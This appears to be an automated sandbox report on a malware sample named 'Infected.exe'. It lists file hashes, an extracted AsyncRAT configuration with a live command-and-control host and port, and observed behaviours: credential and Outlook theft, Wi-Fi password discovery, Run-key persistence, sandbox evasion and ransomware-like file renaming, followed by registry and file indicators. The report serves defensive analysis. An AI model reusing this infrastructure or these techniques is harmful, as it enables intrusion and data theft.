Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
900s -
max time network
897s -
platform
windows10-ltsc_2021_x64 -
resource
win10ltsc2021-20250314-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system -
submitted
17/03/2025, 20:26
Behavioral task
behavioral1
Sample
Infected.exe
Resource
win10ltsc2021-20250314-en
General
-
Target
Infected.exe
-
Size
63KB
-
MD5
7b95fc50b453f9f32fdbdfc533913178
-
SHA1
66a9fef38f777a4ec3990913800a682d2c2707f6
-
SHA256
3e1659e4ec253e1377e6c142e33e71f13b8c7d0021f0dab2178fd9610ec18214
-
SHA512
7fb8efa7471fdefe3a8fc9f7ca80c7c182a4319e428d28e42ccedecf4e772322f587a2545202bc94e7b3c13c4916d4c655d55b81792e771b6ec4211ca285a07f
-
SSDEEP
768:Cm0vnfEXf78awC8A+XU2azcBRL5JTk1+T4KSBGHmDbD/ph0oXiaBtFSPWSusdpqM:qEXiLdSJYUbdh9VuusdpqKmY7
Malware Config
Extracted
asyncrat
Default
get-rick.gl.at.ply.gg:1504
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
-
Asyncrat family
-
Stealerium
An open source info stealer written in C# first seen in May 2022.
-
Stealerium family
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Renames multiple (3676) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation Infected.exe -
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Executes dropped EXE 3 IoCs
pid Process 2372 jbxkhv.exe 2336 tdzrkh.exe 5516 DECRYPT.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Infected.exe Key opened \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Infected.exe Key opened \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Infected.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jbxkhv = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbxkhv.exe" jbxkhv.exe Set value (str) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tdzrkh = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tdzrkh.exe" tdzrkh.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification \??\c:\users\admin\desktop\desktop.ini Infected.exe -
Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\F: explorer.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 33 ip-api.com 30 icanhazip.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
pid Process 1428 ARP.EXE -
pid Process 3076 powershell.exe 3912 powershell.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 3588 tasklist.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\oVcBLd9.png" Infected.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2372 set thread context of 4360 2372 jbxkhv.exe 107 PID 2336 set thread context of 1448 2336 tdzrkh.exe 120 -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons.png Infected.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\relaxngcc.md Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AFTRNOON\THMBNAIL.PNG Infected.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\es_MX\LC_MESSAGES\vlc.mo Infected.exe File opened for modification C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL001.XML Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\rsod\dcfmui.msi.16.en-us.boot.tree.dat Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp.gif Infected.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\unicode.md Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner.gif Infected.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Edge.dat Infected.exe File created C:\Program Files\Common Files\microsoft shared\ink\ipsen.xml Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN065.XML Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] Infected.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo Infected.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\add_reviewer.gif Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\cloud_icon.png Infected.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\rt.jar Infected.exe File opened for modification C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\rsod\osmux.x-none.msi.16.x-none.tree.dat Infected.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo Infected.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.xml Infected.exe File created C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\LICENSE Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png Infected.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\charsets.jar Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PAPYRUS\THMBNAIL.PNG Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner.gif Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\share_icons.png Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Garamond.xml Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-addtotable.png Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EDGE\PREVIEW.GIF Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RIPPLE\THMBNAIL.PNG Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\images\example_icons2x.png Infected.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h Infected.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngom.md Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Proof.Culture.msi.16.fr-fr.xml Infected.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\LICENSE Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-80.png Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE\THMBNAIL.PNG Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\vreg\dcfmui.msi.16.en-us.vreg.dat Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\[email protected] Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview.png Infected.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Trust Protection Lists\Sigma\Staging Infected.exe File created C:\Program Files\Common Files\microsoft shared\ink\Content.xml Infected.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyNoDrop32x32.gif Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Median.xml Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL090.XML Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es_2x.gif Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png Infected.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif Infected.exe File created C:\Program Files\Windows Media Player\Media Renderer\avtransport.xml Infected.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\TransparentAdvertisers Infected.exe File opened for modification C:\Program Files\Java\jdk-1.8\jmc.txt Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-180.png Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO\THMBNAIL.PNG Infected.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\vlc.mo Infected.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons_retina.png Infected.exe File opened for modification C:\Program Files\7-Zip\Lang\uz.txt Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.osmmui.msi.16.en-us.xml Infected.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\FPA_f7\FA000000007 Infected.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3916 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 1220 cmd.exe 4488 netsh.exe 5440 cmd.exe 5868 netsh.exe -
Checks SCSI registry key(s) 3 TTPs 22 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 Infected.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Infected.exe -
Gathers network information 2 TTPs 3 IoCs
Uses commandline utility to view network configuration.
pid Process 4536 NETSTAT.EXE 5788 ipconfig.exe 2632 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3288 systeminfo.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Internet Explorer\GPU SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Internet Explorer\GPU SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 explorer.exe -
Modifies registry class 36 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchApp.exe Set value (data) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\IconStreams = 14000000070000000100010007000000140000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fec000000000000002000000e90703004100720067006a00620065007800200033000a005600610067007200650061007200670020006e0070007000720066006600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002900000074ae2078e323294282c1e41cb67d5b9c000000000000000000000000a7f460617b97db0100000000000000000000000000000d20feb05a007600700065006200660062007300670020004a0076006100710062006a006600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000002000000e90703004600630072006e0078007200650066003a002000360037002500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000002a00000073ae2078e323294282c1e41cb67d5b9c000000000000000000000000830b17617b97db0100000000000000000000000000000d20feb05a007600700065006200660062007300670020004a0076006100710062006a006600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000007b0031004e005000310034005200370037002d0030003200520037002d0034005200350051002d004f003700340034002d00320052004f0031004e00520035003100390038004f0037007d005c0046007200700068006500760067006c00550072006e0079006700750046006c006600670065006e006c002e0072006b0072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000000000000e90703004a0076006100710062006a006600200046007200700068006500760067006c0020002d0020004e0070006700760062006100660020006100720072007100720071002e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000004000000dce282ba05f4ad47b032cf0faa0e39330000000000000000000000000241676a2095db0100000000000000000000000000000d20218f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e907030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000